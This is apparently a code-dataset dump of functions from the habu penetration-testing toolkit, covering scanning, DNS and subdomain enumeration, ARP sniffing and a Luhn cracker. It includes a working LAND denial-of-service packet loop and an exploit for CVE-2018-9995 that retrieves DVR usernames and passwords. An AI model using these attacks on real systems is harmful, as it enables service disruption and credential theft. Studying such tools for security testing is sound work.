[ "def", "cmd_tcpflags", "(", "ip", ",", "port", ",", "flags", ",", "rflags", ",", "verbose", ")", ":", "conf", ".", "verb", "=", "False", "pkts", "=", "IP", "(", "dst", "=", "ip", ")", "/", "TCP", "(", "flags", "=", "(", "0", ",", "255", ")", ...
Send TCP packets with different flags and tell what responses receives. It can be used to analyze how the different TCP/IP stack implementations and configurations responds to packet with various flag combinations. Example: \b # habu.tcpflags www.portantier.com S -> SA FS -> SA FA -> R SA -> R By default, the command sends all possible flag combinations. You can specify which flags must ever be present (reducing the quantity of possible combinations), with the option '-f'. Also, you can specify which flags you want to be present on the response packets to show, with the option '-r'. With the next command, you see all the possible combinations that have the FIN (F) flag set and generates a response that contains the RST (R) flag. Example: \b # habu.tcpflags -f F -r R www.portantier.com FPA -> R FSPA -> R FAU -> R
[ "Send", "TCP", "packets", "with", "different", "flags", "and", "tell", "what", "responses", "receives", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_tcpflags.py#L18-L66
225,931
portantier/habu
habu/cli/cmd_land.py
cmd_land
def cmd_land(ip, count, port, iface, verbose): """This command implements the LAND attack, that sends packets forging the source IP address to be the same that the destination IP. Also uses the same source and destination port. The attack is very old, and can be used to make a Denial of Service on old systems, like Windows NT 4.0. More information here: https://en.wikipedia.org/wiki/LAND \b # sudo habu.land 172.16.0.10 ............ Note: Each dot (.) is a sent packet. You can specify how many packets send with the '-c' option. The default is never stop. Also, you can specify the destination port, with the '-p' option. """ conf.verb = False if iface: conf.iface = iface layer3 = IP() layer3.dst = ip layer3.src = ip layer4 = TCP() layer4.dport = port layer4.sport = port pkt = layer3 / layer4 counter = 0 while True: send(pkt) counter += 1 if verbose: print(pkt.summary()) else: print('.', end='') sys.stdout.flush() if count != 0 and counter == count: break return True
python
def cmd_land(ip, count, port, iface, verbose): conf.verb = False if iface: conf.iface = iface layer3 = IP() layer3.dst = ip layer3.src = ip layer4 = TCP() layer4.dport = port layer4.sport = port pkt = layer3 / layer4 counter = 0 while True: send(pkt) counter += 1 if verbose: print(pkt.summary()) else: print('.', end='') sys.stdout.flush() if count != 0 and counter == count: break return True
[ "def", "cmd_land", "(", "ip", ",", "count", ",", "port", ",", "iface", ",", "verbose", ")", ":", "conf", ".", "verb", "=", "False", "if", "iface", ":", "conf", ".", "iface", "=", "iface", "layer3", "=", "IP", "(", ")", "layer3", ".", "dst", "=", ...
This command implements the LAND attack, that sends packets forging the source IP address to be the same that the destination IP. Also uses the same source and destination port. The attack is very old, and can be used to make a Denial of Service on old systems, like Windows NT 4.0. More information here: https://en.wikipedia.org/wiki/LAND \b # sudo habu.land 172.16.0.10 ............ Note: Each dot (.) is a sent packet. You can specify how many packets send with the '-c' option. The default is never stop. Also, you can specify the destination port, with the '-p' option.
[ "This", "command", "implements", "the", "LAND", "attack", "that", "sends", "packets", "forging", "the", "source", "IP", "address", "to", "be", "the", "same", "that", "the", "destination", "IP", ".", "Also", "uses", "the", "same", "source", "and", "destinatio...
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_land.py#L19-L67
225,932
portantier/habu
habu/lib/dns.py
query_bulk
def query_bulk(names): """Query server with multiple entries.""" answers = [__threaded_query(name) for name in names] while True: if all([a.done() for a in answers]): break sleep(1) return [answer.result() for answer in answers]
python
def query_bulk(names): answers = [__threaded_query(name) for name in names] while True: if all([a.done() for a in answers]): break sleep(1) return [answer.result() for answer in answers]
[ "def", "query_bulk", "(", "names", ")", ":", "answers", "=", "[", "__threaded_query", "(", "name", ")", "for", "name", "in", "names", "]", "while", "True", ":", "if", "all", "(", "[", "a", ".", "done", "(", ")", "for", "a", "in", "answers", "]", ...
Query server with multiple entries.
[ "Query", "server", "with", "multiple", "entries", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/dns.py#L20-L29
225,933
portantier/habu
habu/lib/dns.py
lookup_reverse
def lookup_reverse(ip_address): """Perform a reverse lookup of IP address.""" try: type(ipaddress.ip_address(ip_address)) except ValueError: return {} record = reversename.from_address(ip_address) hostname = str(resolver.query(record, "PTR")[0])[:-1] return {'hostname': hostname}
python
def lookup_reverse(ip_address): try: type(ipaddress.ip_address(ip_address)) except ValueError: return {} record = reversename.from_address(ip_address) hostname = str(resolver.query(record, "PTR")[0])[:-1] return {'hostname': hostname}
[ "def", "lookup_reverse", "(", "ip_address", ")", ":", "try", ":", "type", "(", "ipaddress", ".", "ip_address", "(", "ip_address", ")", ")", "except", "ValueError", ":", "return", "{", "}", "record", "=", "reversename", ".", "from_address", "(", "ip_address",...
Perform a reverse lookup of IP address.
[ "Perform", "a", "reverse", "lookup", "of", "IP", "address", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/dns.py#L32-L41
225,934
portantier/habu
habu/lib/dns.py
lookup_forward
def lookup_forward(name): """Perform a forward lookup of a hostname.""" ip_addresses = {} addresses = list(set(str(ip[4][0]) for ip in socket.getaddrinfo( name, None))) if addresses is None: return ip_addresses for address in addresses: if type(ipaddress.ip_address(address)) is ipaddress.IPv4Address: ip_addresses['ipv4'] = address if type(ipaddress.ip_address(address)) is ipaddress.IPv6Address: ip_addresses['ipv6'] = address return ip_addresses
python
def lookup_forward(name): ip_addresses = {} addresses = list(set(str(ip[4][0]) for ip in socket.getaddrinfo( name, None))) if addresses is None: return ip_addresses for address in addresses: if type(ipaddress.ip_address(address)) is ipaddress.IPv4Address: ip_addresses['ipv4'] = address if type(ipaddress.ip_address(address)) is ipaddress.IPv6Address: ip_addresses['ipv6'] = address return ip_addresses
[ "def", "lookup_forward", "(", "name", ")", ":", "ip_addresses", "=", "{", "}", "addresses", "=", "list", "(", "set", "(", "str", "(", "ip", "[", "4", "]", "[", "0", "]", ")", "for", "ip", "in", "socket", ".", "getaddrinfo", "(", "name", ",", "Non...
Perform a forward lookup of a hostname.
[ "Perform", "a", "forward", "lookup", "of", "a", "hostname", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/dns.py#L44-L60
225,935
portantier/habu
habu/cli/cmd_crtsh.py
cmd_crtsh
def cmd_crtsh(domain, no_cache, no_validate, verbose): """Downloads the certificate transparency logs for a domain and check with DNS queries if each subdomain exists. Uses multithreading to improve the performance of the DNS queries. Example: \b $ sudo habu.crtsh securetia.com [ "karma.securetia.com.", "www.securetia.com." ] """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if not no_cache: homedir = pwd.getpwuid(os.getuid()).pw_dir requests_cache.install_cache(homedir + '/.habu_requests_cache', expire_after=3600) subdomains = set() if verbose: print("Downloading subdomain list from https://crt.sh ...", file=sys.stderr) req = requests.get("https://crt.sh/?q=%.{d}&output=json".format(d=domain)) if req.status_code != 200: print("[X] Information not available!") exit(1) json_data = json.loads(req.text) for data in json_data: name = data['name_value'].lower() if '*' not in name: subdomains.add(name) subdomains = list(subdomains) if no_validate: print(json.dumps(sorted(subdomains), indent=4)) return True if verbose: print("Validating subdomains against DNS servers ...", file=sys.stderr) answers = query_bulk(subdomains) validated = [] for answer in answers: if answer: validated.append(str(answer.qname)) print(json.dumps(sorted(validated), indent=4)) return True
python
def cmd_crtsh(domain, no_cache, no_validate, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if not no_cache: homedir = pwd.getpwuid(os.getuid()).pw_dir requests_cache.install_cache(homedir + '/.habu_requests_cache', expire_after=3600) subdomains = set() if verbose: print("Downloading subdomain list from https://crt.sh ...", file=sys.stderr) req = requests.get("https://crt.sh/?q=%.{d}&output=json".format(d=domain)) if req.status_code != 200: print("[X] Information not available!") exit(1) json_data = json.loads(req.text) for data in json_data: name = data['name_value'].lower() if '*' not in name: subdomains.add(name) subdomains = list(subdomains) if no_validate: print(json.dumps(sorted(subdomains), indent=4)) return True if verbose: print("Validating subdomains against DNS servers ...", file=sys.stderr) answers = query_bulk(subdomains) validated = [] for answer in answers: if answer: validated.append(str(answer.qname)) print(json.dumps(sorted(validated), indent=4)) return True
[ "def", "cmd_crtsh", "(", "domain", ",", "no_cache", ",", "no_validate", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "if", "not", "no_c...
Downloads the certificate transparency logs for a domain and check with DNS queries if each subdomain exists. Uses multithreading to improve the performance of the DNS queries. Example: \b $ sudo habu.crtsh securetia.com [ "karma.securetia.com.", "www.securetia.com." ]
[ "Downloads", "the", "certificate", "transparency", "logs", "for", "a", "domain", "and", "check", "with", "DNS", "queries", "if", "each", "subdomain", "exists", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_crtsh.py#L20-L79
225,936
portantier/habu
habu/cli/cmd_dns_lookup_forward.py
cmd_dns_lookup_forward
def cmd_dns_lookup_forward(hostname, verbose): """Perform a forward lookup of a given hostname. Example: \b $ habu.dns.lookup.forward google.com { "ipv4": "172.217.168.46", "ipv6": "2a00:1450:400a:802::200e" } """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') print("Looking up %s..." % hostname, file=sys.stderr) answer = lookup_forward(hostname) print(json.dumps(answer, indent=4)) return True
python
def cmd_dns_lookup_forward(hostname, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') print("Looking up %s..." % hostname, file=sys.stderr) answer = lookup_forward(hostname) print(json.dumps(answer, indent=4)) return True
[ "def", "cmd_dns_lookup_forward", "(", "hostname", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "print", "(", "\"Looking up %s...\"", "%", "...
Perform a forward lookup of a given hostname. Example: \b $ habu.dns.lookup.forward google.com { "ipv4": "172.217.168.46", "ipv6": "2a00:1450:400a:802::200e" }
[ "Perform", "a", "forward", "lookup", "of", "a", "given", "hostname", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_dns_lookup_forward.py#L14-L34
225,937
portantier/habu
habu/cli/cmd_cve_2018_9995.py
cmd_cve_2018_9995
def cmd_cve_2018_9995(ip, port, verbose): """Exploit the CVE-2018-9995 vulnerability, present on various DVR systems. Note: Based on the original code from Ezequiel Fernandez (@capitan_alfa). Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9995 Example: \b $ python habu.cve.2018-9995 82.202.102.42 [ { "uid": "admin", "pwd": "securepassword", "role": 2, "enmac": 0, "mac": "00:00:00:00:00:00", "playback": 4294967295, "view": 4294967295, "rview": 4294967295, "ptz": 4294967295, "backup": 4294967295, "opt": 4294967295 } ] """ url = 'http://' + ip + ':' + str(port) fullhost = url + '/device.rsp?opt=user&cmd=list' headers = { 'Host': ip, 'User-Agent': 'Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Languag': 'es-AR,en-US;q=0.7,en;q=0.3', 'Connection': 'close', 'Content-Type': 'text/html', 'Cookie': 'uid=admin', } try: r = requests.get(fullhost, headers=headers,timeout=10) except Exception as e: print('Exception:', e) sys.exit(1) try: data = r.json() except Exception as e: print('Exception:', e) sys.exit(1) print(json.dumps(data["list"], indent=4))
python
def cmd_cve_2018_9995(ip, port, verbose): url = 'http://' + ip + ':' + str(port) fullhost = url + '/device.rsp?opt=user&cmd=list' headers = { 'Host': ip, 'User-Agent': 'Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Languag': 'es-AR,en-US;q=0.7,en;q=0.3', 'Connection': 'close', 'Content-Type': 'text/html', 'Cookie': 'uid=admin', } try: r = requests.get(fullhost, headers=headers,timeout=10) except Exception as e: print('Exception:', e) sys.exit(1) try: data = r.json() except Exception as e: print('Exception:', e) sys.exit(1) print(json.dumps(data["list"], indent=4))
[ "def", "cmd_cve_2018_9995", "(", "ip", ",", "port", ",", "verbose", ")", ":", "url", "=", "'http://'", "+", "ip", "+", "':'", "+", "str", "(", "port", ")", "fullhost", "=", "url", "+", "'/device.rsp?opt=user&cmd=list'", "headers", "=", "{", "'Host'", ":"...
Exploit the CVE-2018-9995 vulnerability, present on various DVR systems. Note: Based on the original code from Ezequiel Fernandez (@capitan_alfa). Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9995 Example: \b $ python habu.cve.2018-9995 82.202.102.42 [ { "uid": "admin", "pwd": "securepassword", "role": 2, "enmac": 0, "mac": "00:00:00:00:00:00", "playback": 4294967295, "view": 4294967295, "rview": 4294967295, "ptz": 4294967295, "backup": 4294967295, "opt": 4294967295 } ]
[ "Exploit", "the", "CVE", "-", "2018", "-", "9995", "vulnerability", "present", "on", "various", "DVR", "systems", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_cve_2018_9995.py#L14-L67
225,938
portantier/habu
habu/lib/delegator.py
Command.pid
def pid(self): """The process' PID.""" # Support for pexpect's functionality. if hasattr(self.subprocess, 'proc'): return self.subprocess.proc.pid # Standard subprocess method. return self.subprocess.pid
python
def pid(self): # Support for pexpect's functionality. if hasattr(self.subprocess, 'proc'): return self.subprocess.proc.pid # Standard subprocess method. return self.subprocess.pid
[ "def", "pid", "(", "self", ")", ":", "# Support for pexpect's functionality.", "if", "hasattr", "(", "self", ".", "subprocess", ",", "'proc'", ")", ":", "return", "self", ".", "subprocess", ".", "proc", ".", "pid", "# Standard subprocess method.", "return", "sel...
The process' PID.
[ "The", "process", "PID", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/delegator.py#L120-L126
225,939
portantier/habu
habu/lib/delegator.py
Command.run
def run(self, block=True, binary=False, cwd=None): """Runs the given command, with or without pexpect functionality enabled.""" self.blocking = block # Use subprocess. if self.blocking: popen_kwargs = self._default_popen_kwargs.copy() popen_kwargs['universal_newlines'] = not binary if cwd: popen_kwargs['cwd'] = cwd s = subprocess.Popen(self._popen_args, **popen_kwargs) # Otherwise, use pexpect. else: pexpect_kwargs = self._default_pexpect_kwargs.copy() if binary: pexpect_kwargs['encoding'] = None if cwd: pexpect_kwargs['cwd'] = cwd # Enable Python subprocesses to work with expect functionality. pexpect_kwargs['env']['PYTHONUNBUFFERED'] = '1' s = PopenSpawn(self._popen_args, **pexpect_kwargs) self.subprocess = s self.was_run = True
python
def run(self, block=True, binary=False, cwd=None): self.blocking = block # Use subprocess. if self.blocking: popen_kwargs = self._default_popen_kwargs.copy() popen_kwargs['universal_newlines'] = not binary if cwd: popen_kwargs['cwd'] = cwd s = subprocess.Popen(self._popen_args, **popen_kwargs) # Otherwise, use pexpect. else: pexpect_kwargs = self._default_pexpect_kwargs.copy() if binary: pexpect_kwargs['encoding'] = None if cwd: pexpect_kwargs['cwd'] = cwd # Enable Python subprocesses to work with expect functionality. pexpect_kwargs['env']['PYTHONUNBUFFERED'] = '1' s = PopenSpawn(self._popen_args, **pexpect_kwargs) self.subprocess = s self.was_run = True
[ "def", "run", "(", "self", ",", "block", "=", "True", ",", "binary", "=", "False", ",", "cwd", "=", "None", ")", ":", "self", ".", "blocking", "=", "block", "# Use subprocess.", "if", "self", ".", "blocking", ":", "popen_kwargs", "=", "self", ".", "_...
Runs the given command, with or without pexpect functionality enabled.
[ "Runs", "the", "given", "command", "with", "or", "without", "pexpect", "functionality", "enabled", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/delegator.py#L140-L162
225,940
portantier/habu
habu/lib/delegator.py
Command.send
def send(self, s, end=os.linesep, signal=False): """Sends the given string or signal to std_in.""" if self.blocking: raise RuntimeError('send can only be used on non-blocking commands.') if not signal: if self._uses_subprocess: return self.subprocess.communicate(s + end) else: return self.subprocess.send(s + end) else: self.subprocess.send_signal(s)
python
def send(self, s, end=os.linesep, signal=False): if self.blocking: raise RuntimeError('send can only be used on non-blocking commands.') if not signal: if self._uses_subprocess: return self.subprocess.communicate(s + end) else: return self.subprocess.send(s + end) else: self.subprocess.send_signal(s)
[ "def", "send", "(", "self", ",", "s", ",", "end", "=", "os", ".", "linesep", ",", "signal", "=", "False", ")", ":", "if", "self", ".", "blocking", ":", "raise", "RuntimeError", "(", "'send can only be used on non-blocking commands.'", ")", "if", "not", "si...
Sends the given string or signal to std_in.
[ "Sends", "the", "given", "string", "or", "signal", "to", "std_in", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/delegator.py#L172-L184
225,941
portantier/habu
habu/cli/cmd_arp_sniff.py
cmd_arp_sniff
def cmd_arp_sniff(iface): """Listen for ARP packets and show information for each device. Columns: Seconds from last packet | IP | MAC | Vendor Example: \b 1 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom Broadband SAS 7 192.168.0.2 64:bc:0c:33:e5:57 LG Electronics (Mobile Communications) 2 192.168.0.5 00:c2:c6:30:2c:58 Intel Corporate 6 192.168.0.7 54:f2:01:db:35:58 Samsung Electronics Co.,Ltd """ conf.verb = False if iface: conf.iface = iface print("Waiting for ARP packets...", file=sys.stderr) sniff(filter="arp", store=False, prn=procpkt)
python
def cmd_arp_sniff(iface): conf.verb = False if iface: conf.iface = iface print("Waiting for ARP packets...", file=sys.stderr) sniff(filter="arp", store=False, prn=procpkt)
[ "def", "cmd_arp_sniff", "(", "iface", ")", ":", "conf", ".", "verb", "=", "False", "if", "iface", ":", "conf", ".", "iface", "=", "iface", "print", "(", "\"Waiting for ARP packets...\"", ",", "file", "=", "sys", ".", "stderr", ")", "sniff", "(", "filter"...
Listen for ARP packets and show information for each device. Columns: Seconds from last packet | IP | MAC | Vendor Example: \b 1 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom Broadband SAS 7 192.168.0.2 64:bc:0c:33:e5:57 LG Electronics (Mobile Communications) 2 192.168.0.5 00:c2:c6:30:2c:58 Intel Corporate 6 192.168.0.7 54:f2:01:db:35:58 Samsung Electronics Co.,Ltd
[ "Listen", "for", "ARP", "packets", "and", "show", "information", "for", "each", "device", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_arp_sniff.py#L40-L61
225,942
portantier/habu
habu/cli/cmd_web_tech.py
cmd_web_tech
def cmd_web_tech(url, no_cache, verbose): """Use Wappalyzer apps.json database to identify technologies used on a web application. Reference: https://github.com/AliasIO/Wappalyzer Note: This tool only sends one request. So, it's stealth and not suspicious. \b $ habu.web.tech https://woocomerce.com { "Nginx": { "categories": [ "Web Servers" ] }, "PHP": { "categories": [ "Programming Languages" ] }, "WooCommerce": { "categories": [ "Ecommerce" ], "version": "6.3.1" }, "WordPress": { "categories": [ "CMS", "Blogs" ] }, } """ response = web_tech(url, no_cache, verbose) print(json.dumps(response, indent=4))
python
def cmd_web_tech(url, no_cache, verbose): response = web_tech(url, no_cache, verbose) print(json.dumps(response, indent=4))
[ "def", "cmd_web_tech", "(", "url", ",", "no_cache", ",", "verbose", ")", ":", "response", "=", "web_tech", "(", "url", ",", "no_cache", ",", "verbose", ")", "print", "(", "json", ".", "dumps", "(", "response", ",", "indent", "=", "4", ")", ")" ]
Use Wappalyzer apps.json database to identify technologies used on a web application. Reference: https://github.com/AliasIO/Wappalyzer Note: This tool only sends one request. So, it's stealth and not suspicious. \b $ habu.web.tech https://woocomerce.com { "Nginx": { "categories": [ "Web Servers" ] }, "PHP": { "categories": [ "Programming Languages" ] }, "WooCommerce": { "categories": [ "Ecommerce" ], "version": "6.3.1" }, "WordPress": { "categories": [ "CMS", "Blogs" ] }, }
[ "Use", "Wappalyzer", "apps", ".", "json", "database", "to", "identify", "technologies", "used", "on", "a", "web", "application", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_web_tech.py#L14-L50
225,943
portantier/habu
habu/cli/cmd_tcpscan.py
cmd_tcpscan
def cmd_tcpscan(ip, port, iface, flags, sleeptime, timeout, show_all, verbose): """TCP Port Scanner. Print the ports that generated a response with the SYN flag or (if show use -a) all the ports that generated a response. It's really basic compared with nmap, but who is comparing? Example: \b # habu.tcpscan -p 22,23,80,443 -s 1 45.77.113.133 22 S -> SA 80 S -> SA 443 S -> SA """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface port_regex = r'^[0-9,-]+$' if not re.match(port_regex, port): logging.critical("Invalid port specification") return False ports = [] for p in str(port).split(','): if '-' in p: first, last = p.split('-') for n in range(int(first), int(last)+1): ports.append(n) else: ports.append(int(p)) out = "{port} {sflags} -> {rflags}" pkts = IP(dst=ip)/TCP(flags=flags, dport=ports) if sleeptime: res = [] for pkt in pkts: logging.info(pkt.summary()) _ = sr1(pkt) if _: logging.info(_.summary()) res.append((pkt, _)) else: res, unans = sr(pkts, verbose=verbose) for s,r in res: if show_all or 'S' in r.sprintf(r"%TCP.flags%"): print(out.format( port=s[TCP].dport, sflags=s.sprintf(r"%TCP.flags%"), rflags=r.sprintf(r"%TCP.flags%") ))
python
def cmd_tcpscan(ip, port, iface, flags, sleeptime, timeout, show_all, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface port_regex = r'^[0-9,-]+$' if not re.match(port_regex, port): logging.critical("Invalid port specification") return False ports = [] for p in str(port).split(','): if '-' in p: first, last = p.split('-') for n in range(int(first), int(last)+1): ports.append(n) else: ports.append(int(p)) out = "{port} {sflags} -> {rflags}" pkts = IP(dst=ip)/TCP(flags=flags, dport=ports) if sleeptime: res = [] for pkt in pkts: logging.info(pkt.summary()) _ = sr1(pkt) if _: logging.info(_.summary()) res.append((pkt, _)) else: res, unans = sr(pkts, verbose=verbose) for s,r in res: if show_all or 'S' in r.sprintf(r"%TCP.flags%"): print(out.format( port=s[TCP].dport, sflags=s.sprintf(r"%TCP.flags%"), rflags=r.sprintf(r"%TCP.flags%") ))
[ "def", "cmd_tcpscan", "(", "ip", ",", "port", ",", "iface", ",", "flags", ",", "sleeptime", ",", "timeout", ",", "show_all", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", ...
TCP Port Scanner. Print the ports that generated a response with the SYN flag or (if show use -a) all the ports that generated a response. It's really basic compared with nmap, but who is comparing? Example: \b # habu.tcpscan -p 22,23,80,443 -s 1 45.77.113.133 22 S -> SA 80 S -> SA 443 S -> SA
[ "TCP", "Port", "Scanner", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_tcpscan.py#L23-L85
225,944
portantier/habu
habu/cli/cmd_dns_lookup_reverse.py
cmd_dns_lookup_reverse
def cmd_dns_lookup_reverse(ip_address, verbose): """Perform a reverse lookup of a given IP address. Example: \b $ $ habu.dns.lookup.reverse 8.8.8.8 { "hostname": "google-public-dns-a.google.com" } """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') print("Looking up %s..." % ip_address, file=sys.stderr) answer = lookup_reverse(ip_address) if answer: print(json.dumps(answer, indent=4)) else: print("[X] %s is not valid IPv4/IPV6 address" % ip_address) return True
python
def cmd_dns_lookup_reverse(ip_address, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') print("Looking up %s..." % ip_address, file=sys.stderr) answer = lookup_reverse(ip_address) if answer: print(json.dumps(answer, indent=4)) else: print("[X] %s is not valid IPv4/IPV6 address" % ip_address) return True
[ "def", "cmd_dns_lookup_reverse", "(", "ip_address", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "print", "(", "\"Looking up %s...\"", "%", ...
Perform a reverse lookup of a given IP address. Example: \b $ $ habu.dns.lookup.reverse 8.8.8.8 { "hostname": "google-public-dns-a.google.com" }
[ "Perform", "a", "reverse", "lookup", "of", "a", "given", "IP", "address", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_dns_lookup_reverse.py#L14-L36
225,945
portantier/habu
habu/cli/cmd_crack_luhn.py
cmd_crack_luhn
def cmd_crack_luhn(number): """Having known values for a Luhn validated number, obtain the possible unknown numbers. Numbers that use the Luhn algorithm for validation are Credit Cards, IMEI, National Provider Identifier in the United States, Canadian Social Insurance Numbers, Israel ID Numbers and Greek Social Security Numbers (ΑΜΚΑ). The '-' characters are ignored. Define the missing numbers with the 'x' character. Reference: https://en.wikipedia.org/wiki/Luhn_algorithm Example: \b $ habu.crack.luhn 4509-xxxx-3160-6445 """ number = number.replace('-', '') unknown_count = number.count('x') if not number.replace('x', '').isdigit(): print('Invalid format. Please, read the documentation.', file=sys.stderr) sys.exit(1) for n in range(10 ** unknown_count): candidate = number for item in '{:0{count}}'.format(n, count=unknown_count): candidate = candidate.replace('x', item, 1) if luhn_validate(candidate): print(candidate)
python
def cmd_crack_luhn(number): number = number.replace('-', '') unknown_count = number.count('x') if not number.replace('x', '').isdigit(): print('Invalid format. Please, read the documentation.', file=sys.stderr) sys.exit(1) for n in range(10 ** unknown_count): candidate = number for item in '{:0{count}}'.format(n, count=unknown_count): candidate = candidate.replace('x', item, 1) if luhn_validate(candidate): print(candidate)
[ "def", "cmd_crack_luhn", "(", "number", ")", ":", "number", "=", "number", ".", "replace", "(", "'-'", ",", "''", ")", "unknown_count", "=", "number", ".", "count", "(", "'x'", ")", "if", "not", "number", ".", "replace", "(", "'x'", ",", "''", ")", ...
Having known values for a Luhn validated number, obtain the possible unknown numbers. Numbers that use the Luhn algorithm for validation are Credit Cards, IMEI, National Provider Identifier in the United States, Canadian Social Insurance Numbers, Israel ID Numbers and Greek Social Security Numbers (ΑΜΚΑ). The '-' characters are ignored. Define the missing numbers with the 'x' character. Reference: https://en.wikipedia.org/wiki/Luhn_algorithm Example: \b $ habu.crack.luhn 4509-xxxx-3160-6445
[ "Having", "known", "values", "for", "a", "Luhn", "validated", "number", "obtain", "the", "possible", "unknown", "numbers", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_crack_luhn.py#L25-L56
225,946
portantier/habu
habu/cli/cmd_protoscan.py
cmd_protoscan
def cmd_protoscan(ip, iface, timeout, all_protocols, verbose): """ Send IP packets with different protocol field content to guess what layer 4 protocols are available. The output shows which protocols doesn't generate a 'protocol-unreachable' ICMP response. Example: \b $ sudo python cmd_ipscan.py 45.77.113.133 1 icmp 2 igmp 4 ipencap 6 tcp 17 udp 41 ipv6 47 gre 50 esp 51 ah 58 ipv6_icmp 97 etherip 112 vrrp 115 l2tp 132 sctp 137 mpls_in_ip """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface if all_protocols: protocols = (0,255) else: # convert "{name:num}" to {num:name}" protocols = { num:name for name,num in conf.protocols.__dict__.items() if isinstance(num, int) } ans,unans=sr(IP(dst=ip, proto=protocols.keys())/"SCAPY", retry=0, timeout=timeout, verbose=verbose) allowed_protocols = [ pkt['IP'].proto for pkt in unans ] for proto in sorted(allowed_protocols): print('{:<4} {}'.format(proto, protocols[proto]))
python
def cmd_protoscan(ip, iface, timeout, all_protocols, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface if all_protocols: protocols = (0,255) else: # convert "{name:num}" to {num:name}" protocols = { num:name for name,num in conf.protocols.__dict__.items() if isinstance(num, int) } ans,unans=sr(IP(dst=ip, proto=protocols.keys())/"SCAPY", retry=0, timeout=timeout, verbose=verbose) allowed_protocols = [ pkt['IP'].proto for pkt in unans ] for proto in sorted(allowed_protocols): print('{:<4} {}'.format(proto, protocols[proto]))
[ "def", "cmd_protoscan", "(", "ip", ",", "iface", ",", "timeout", ",", "all_protocols", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "co...
Send IP packets with different protocol field content to guess what layer 4 protocols are available. The output shows which protocols doesn't generate a 'protocol-unreachable' ICMP response. Example: \b $ sudo python cmd_ipscan.py 45.77.113.133 1 icmp 2 igmp 4 ipencap 6 tcp 17 udp 41 ipv6 47 gre 50 esp 51 ah 58 ipv6_icmp 97 etherip 112 vrrp 115 l2tp 132 sctp 137 mpls_in_ip
[ "Send", "IP", "packets", "with", "different", "protocol", "field", "content", "to", "guess", "what", "layer", "4", "protocols", "are", "available", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
